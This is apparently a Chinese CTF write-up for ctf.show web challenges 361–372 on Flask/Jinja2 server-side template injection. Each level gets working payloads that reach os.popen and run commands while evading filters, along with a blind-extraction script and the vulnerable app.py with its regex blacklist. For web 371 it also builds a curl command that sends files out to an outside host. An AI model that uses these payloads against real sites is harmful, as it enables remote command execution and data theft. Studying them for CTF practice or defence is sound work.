SSTI
web 361
名字就是考点
这里就是考的参数是 name
这个就是最简单的 SSTI ,没有任何过滤
{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls ../').read() }}

web 362
应该是过滤了数字,但是1没被过滤,最铸币的方法就是1+1一直加下去(


这里看 wp 发现另一个做法,用全角字符替代数字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat ../f*').read()}}

这里还学到另一种方法,利用已有函数,去获取 __builtins__
{{ url_for.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()") }}
或者直接拿 os
{{ url_for.__globals__['os'].popen('ls').read() }}
这里还有一种方法,x可以用任意字母
{{ x.__init__.__globals__['__builtins__'] }}
再或者用循环来构造
{% for i in "".__class__.__base__.__subclasses__() %}
{% if i.__name__ == '_wrap_close' %}
{% print i.__init__.__globals__['popen']('ls').read() %}
{% endif %}
{% endfor %}
web 363
被过滤了 "" 和 ''
这里学到可以用 request.args.a 来获取数据
{{1.__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}
&a=popen&b=ls

还可以用字符串拼接
这里使用 flask 配置的 config 获取字符,就是有点麻烦,要一个个找
{{config.__str__()[1]}}

也可以先看看里面有什么东西
{{ config.__str__() }}
然后使用一个简单的 python 脚本来实现就行
a= """<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
"""
b = []
code = "cat /flag"
for j in code:
for i in range(len(a)):
if a[i] == j:
b.append(i)
break
fina = ""
for i in b:
fina += f"(config.__str__()[{i}])%2B"
print(fina)
然后拼接命令就行
{{ url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])].popen((config.__str__()[22])%2B(config.__str__()[40])%2B(config.__str__()[23])%2B(config.__str__()[7])%2B(config.__str__()[279])%2B(config.__str__()[4])%2B(config.__str__()[41])%2B(config.__str__()[40])%2B(config.__str__()[6])).read() }}
相当于
{{ url_for.__globals__['os'].popen("cat /flag").read() }}

web 364
多过滤了 request.args.a 这个,但是字符拼接还是可以用的

上一题的 config 拼接依旧可以用
这里多学了一个获取 chr
{% set chr=url_for.__globals__.__builtins__.chr %}
{% print url_for.__globals__[chr(111)+chr(115)].popen(chr(108)%2Bchr(115)).read() %}

这里看wp发现有一个请求的方法没有被过滤,request.cookies.a
{{ url_for.__globals__[request.cookies.a].popen(request.cookies.b).read() }}
cookie :a=os;b=ls

这里还有一个获取请求数据的 request.values.a , 这个可以获取 post 和 get 的值
{{ url_for.__globals__.os.popen(request.values.a).read() }}&a=ls
web 365
多过滤了 [] ,request 的方法依旧能用
{{ url_for.__globals__.os.popen(request.values.a).read() }}&a=ls /

这里还学到一个新的,使用 __getitem__ 绕过 [] 获取字符串
{{ config.__str__().__getitem__(22) }}

{{ url_for.__globals__.os.popen((config.__str__().__getitem__(22))%2B(config.__str__().__getitem__(40))%2B(config.__str__().__getitem__(23))%2B(config.__str__().__getitem__(7))%2B(config.__str__().__getitem__(279))%2B(config.__str__().__getitem__(4))%2B(config.__str__().__getitem__(41))%2B(config.__str__().__getitem__(40))%2B(config.__str__().__getitem__(6))).read() }}

web 366
这个甚至把 _ 给过滤了,所以使用的时候就把 url_for 换成了 lipsum,但是构造不出 __globals__ 了,这里用到了 flask 自带的过滤器 attr
attr是用来动态获取某个属性的值{{ obj|attr('属性') }} {{ attr(obj,'属性') }}
{{ (lipsum|attr(request.values.a)).os.popen(request.values.b).read() }}
&a=__globals__&b=ls

web 367
os 被过滤了

这里可以使用 get 来获取 request 的值
{{ (lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read() }}
&a=__globals__&b=ls&c=os

也可以全部都用 attr 过滤得到
{{ (x|attr(request.values.a)|attr(request.values.b)|attr(request.values.c))(request.values.d).eval(request.values.f) }}
&a=__init__&b=__globals__&c=__getitem__&d=__builtins__&f=__import__('os').popen('ls').read()
相当于
{{ x.__init__.__globals__.__getitem__['__builtins__'].eval(cmd) }}
web 368
多过滤了 {{}},使用 {%%} 是一样的
{% print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
&a=__globals__&b=os&c=ls

这里看wp学到一种使用 {%%} 盲注的方法
- 因为使用了格式化字符串,所以原本的
{}需要转义
import requests
url="https://b584c9c0-9c2d-46e5-aa9a-f0ebe0b625e0.challenge.ctf.show"
flag=""
for i in range(1,100):
for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
params={
'name':f"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({i}) %}}{{% if a==request.values.d %}}marin{{% endif %}}",
'a':'__globals__',
'b':'__builtins__',
'c':'/flag',
'd':f'{flag+j}'
}
r=requests.get(url=url,params=params)
if "marin" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break
相当于使用,open 配合 read 读取前面的字符,但是这个方法我感觉其实限制挺大的,可能他需要 waf 了 print,并且只能用 {%%},去匹配,而且还要知道文件位置,先记着
{% print lipsum.__globals__['__builtins__'].open("/flag").read(i) %}

web 369
悲 request 被 waf 了,所以要构造字符了,使用 config 应该是最简单的了,但是不能使用 __str__() 了
这里学到一个过滤器调用 config|string ,意思先获取 config 对象,然后转化成字符串,等价于 str(config),这里还是差一个 __getitem__() 或 [] 去获取字符,但是都被 waf 了
这里学到的一个方法是利用列表的 pop 来获取字符,然后可以用 lower 获取小写字符
{% print (config|string|list).pop().lower() %}


然后就可以使用脚本来获取字符,忒长了(
{% print (lipsum|attr(((config|string|list).pop(74).lower())%2B((config|string|list).pop(74).lower())%2B((config|string|list).pop(6).lower())%2B((config|string|list).pop(41).lower())%2B((config|string|list).pop(2).lower())%2B((config|string|list).pop(33).lower())%2B((config|string|list).pop(40).lower())%2B((config|string|list).pop(41).lower())%2B((config|string|list).pop(42).lower())%2B((config|string|list).pop(74).lower())%2B((config|string|list).pop(74).lower())))
.get(((config|string|list).pop(2).lower())%2B((config|string|list).pop(42).lower()))
.popen(((config|string|list).pop(41).lower())%2B((config|string|list).pop(42).lower())).read() %}

还学到了一种新方法,构造敏感函数
{% set po=dict(po=a,p=a)|join %}
dict():创建一个字典
|join :是一个过滤器,将一个可迭代对象连接成字符串,如果是字典,就只会迭代字典的键,默认用'' 拼接,比如这个语句最后拼接出来的就是pop函数,所以变量 po 就是 pop 函数
{% set a=(()|select|string|list)|attr(po)(24) %}
利用
()创建一个空的元组对象
select :过滤器,原本用于筛选序列中的元素,但是作用于一个空元组后,会生成一个生成器对象
string 和list 前面都提过,然后从这个列表中 pop 出_
然后就是慢慢构造了
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
{% set geti=(a,a,dict(get=a,item=a)|join,a,a)|join %}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join %}
然后利用这些获取 chr 方法,后面就可以方便的构造了
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x.chr %}
后续就可以构造命令了
{% set o=chr(111)%2Bchr(115) %}
{% set cmd=chr(108)%2Bchr(115)%2Bchr(32)%2Bchr(47) %}
{% print (lipsum|attr(glo)).get(o).popen(cmd).read() %}
总的 payload
{% set po=dict(po=a,p=a)|join %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
{% set geti=(a,a,dict(get=a,item=a)|join,a,a)|join %}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join %}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x.chr %}
{% set o=chr(111)%2Bchr(115) %}
{% set cmd=chr(108)%2Bchr(115)%2Bchr(32)%2Bchr(47) %}
{% print (lipsum|attr(glo)).get(o).popen(cmd).read() %}

web 370
又 waf 了我的数字
这里学到两个方法,当然,全角字符还是能用的
第一个是利用 index 获取特殊的数字,然后获取字符,这里需要提前判断哪些需要的内容在什么位置
{% set o=dict(o=a)|join %}
{% set n=dict(n=a)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}

{% set o=dict(o=a)|join %}
{% set n=dict(n=a)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
# 这个是 /
{% set a=(config|string|list).pop(-liushisi) %}
# 这个是 _
{% set b=(()|select|string|list).pop(ershisi) %}
{% set glo=(b,b,dict(globals=a)|join,b,b)|join %}
{% set built=(b,b,dict(builtins=a)|join,b,b)|join %}
{% set file=(a,dict(flag=a)|join)|join %}
{% print (lipsum|attr(glo)).get(built).open(file).read() %}
还有另一种好用一点的方法,就是利用 length 的过滤器,直接拿到所有数字,通过这个方法我们可以拿到所有的数字
{% set a=dict(a=a)|join|length %}

用 chr 又搞了一次,麻烦(
{% set a=dict(a=a)|join|length %}
{% set b=dict(aa=a)|join|length %}
{% set c=dict(aaa=a)|join|length %}
{% set d=dict(aaaa=a)|join|length %}
{% set e=dict(aaaaa=a)|join|length %}
{% set f=dict(aaaaaa=a)|join|length %}
{% set g=dict(aaaaaaa=a)|join|length %}
{% set h=dict(aaaaaaaa=a)|join|length %}
{% set i=dict(aaaaaaaaa=a)|join|length %}
{% set j=dict(aaaaaaaaaa=a)|join|length %}
{% set po=dict(po=a,p=a)|join %}
{% set a=(()|select|string|list)|attr(po)(d*f) %}
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
{% set geti=(a,a,dict(get=a,item=a)|join,a,a)|join %}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join %}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x|attr(chr) %}
{% set flag=(lipsum|attr(glo)).get(built).open(chr(d*j%2bg)%2Bchr(j*j%2bb)%2Bchr(j*j%2bh)%2Bchr(i*j%2bg)%2Bchr(j*j%2bc)).read() %}
{% print flag %}

web 371
把 print 给禁用了,那就反弹 shell 吧(
不知道是什么问题,但是他这里反弹不了shell,最后是使用 curl 外带数据,直接外带他的数据不完整,所以先写文件再外带,这里测试的时候不知道为什么他这个网站的 curl 老是报错,比如里面不能有 "" ,导致一些我的语句用不了
ls / > /tmp/1.txt
curl -X POST --data-binary @/tmp/1.txt http://192.168.11.42:8888/

{% set a=dict(a=a)|join|length %}
{% set b=dict(aa=a)|join|length %}
{% set c=dict(aaa=a)|join|length %}
{% set d=dict(aaaa=a)|join|length %}
{% set e=dict(aaaaa=a)|join|length %}
{% set f=dict(aaaaaa=a)|join|length %}
{% set g=dict(aaaaaaa=a)|join|length %}
{% set h=dict(aaaaaaaa=a)|join|length %}
{% set i=dict(aaaaaaaaa=a)|join|length %}
{% set j=dict(aaaaaaaaaa=a)|join|length %}
{% set k=dict(aaaaaaaaaaa=a)|join|length %}
{% set po=dict(po=a,p=a)|join %}
{% set a=(()|select|string|list)|attr(po)(d*f) %}
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %}
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %}
{% set geti=(a,a,dict(get=a,item=a)|join,a,a)|join %}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join %}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x.chr %}
{% set o=dict(o=a,s=a)|join %}
{% set cmd=chr(k*i%2Bi)%2Bchr(k*j%2Be)%2Bchr(d*h)%2Bchr(k*d%2Bc)%2Bchr(d*h)%2Bchr(k*e%2Bg)%2Bchr(d*h)%2Bchr(k*d%2Bc)%2Bchr(k*j%2Bf)%2Bchr(k*i%2Bj)%2Bchr(k*j%2Bb)%2Bchr(k*d%2Bc)%2Bchr(g*g)%2Bchr(k*d%2Bb)%2Bchr(k*j%2Bf)%2Bchr(k*j%2Bj)%2Bchr(k*j%2Bf) %}
{% set code=(lipsum|attr(glo)).get(o).popen(cmd) %}
{% set shell=chr(i*k)%2Bchr(k*j%2Bg)%2Bchr(k*j%2Bd)%2Bchr(k*i%2Bi)%2Bchr(d*h)%2Bchr(e*i)%2Bchr(h*k)%2Bchr(d*h)%2Bchr(h*j)%2Bchr(k*g%2Bb)%2Bchr(k*g%2Bf)%2Bchr(k*g%2Bg)%2Bchr(d*h)%2Bchr(e*i)%2Bchr(e*i)%2Bchr(j*j)%2Bchr(k*h%2Bi)%2Bchr(k*j%2Bf)%2Bchr(k*h%2Bi)%2Bchr(e*i)%2Bchr(k*h%2Bj)%2Bchr(k*i%2Bf)%2Bchr(j*k)%2Bchr(k*h%2Bi)%2Bchr(k*j%2Bd)%2Bchr(k*k)%2Bchr(d*h)%2Bchr(h*h)%2Bchr(k*d%2Bc)%2Bchr(k*j%2Bf)%2Bchr(k*i%2Bj)%2Bchr(k*j%2Bb)%2Bchr(k*d%2Bc)%2Bchr(g*g)%2Bchr(k*d%2Bb)%2Bchr(k*j%2Bf)%2Bchr(k*j%2Bj)%2Bchr(k*j%2Bf)%2Bchr(d*h)%2Bchr(k*i%2Be)%2Bchr(k*j%2Bf)%2Bchr(k*j%2Bf)%2Bchr(k*j%2Bb)%2Bchr(k*e%2Bc)%2Bchr(k*d%2Bc)%2Bchr(k*d%2Bc)%2Bchr(g*g)%2Bchr(f*h)%2Bchr(g*g)%2Bchr(k*d%2Bb)%2Bchr(k*d%2Bg)%2Bchr(k*d%2Bi)%2Bchr(k*d%2Bb)%2Bchr(g*g)%2Bchr(k*d%2Bi)%2Bchr(g*g)%2Bchr(k*d%2Bb)%2Bchr(k*d%2Bh)%2Bchr(e*j)%2Bchr(k*e%2Bc)%2Bchr(g*h)%2Bchr(g*h)%2Bchr(g*h)%2Bchr(g*h)%2Bchr(k*d%2Bc) %}
{% set code=(lipsum|attr(glo)).get(o).popen(shell) %}
这里使用命令测试太麻烦了,于是问 ai 写了一个脚本
code = 'curl -X POST --data-binary @/tmp/1.txt http://192.168.11.42:8888/'
mapping = {'a':1,'b':2,'c':3,'d':4,'e':5,'f':6,'g':7,'h':8,'i':9,'j':10,'k':11}
rev = {v:k for k,v in mapping.items()}
def sym(x: int) -> str:
return rev[x]
def build_expr(n: int) -> str:
# 1) 能纯乘法就用纯乘法:p*q,p,q ∈ [2..11]
for p in range(2, 12):
for q in range(2, 12):
if p * q == n:
return f"{sym(p)}*{sym(q)}"
# 2) 通用:n = 11*q + r
q, r = divmod(n, 11) # q ∈ [2..11], r ∈ [0..10] 对于 n∈[32,125]
left = f"k*{sym(q)}" if q > 1 else "k"
return left if r == 0 else f"{left}+{sym(r)}"
out = []
for ch in code:
n = ord(ch)
expr = build_expr(n)
out.append(f"chr({expr})+")
out = "".join(out)
out = out.replace("+","%2B")
print(out)
最后替换一下就能得到 flag
web 372
最后和上面一样的,payload 一样用
把 app.py 拿了出来,看了一下好像是过滤了 count 没什么影响
from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print|count",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
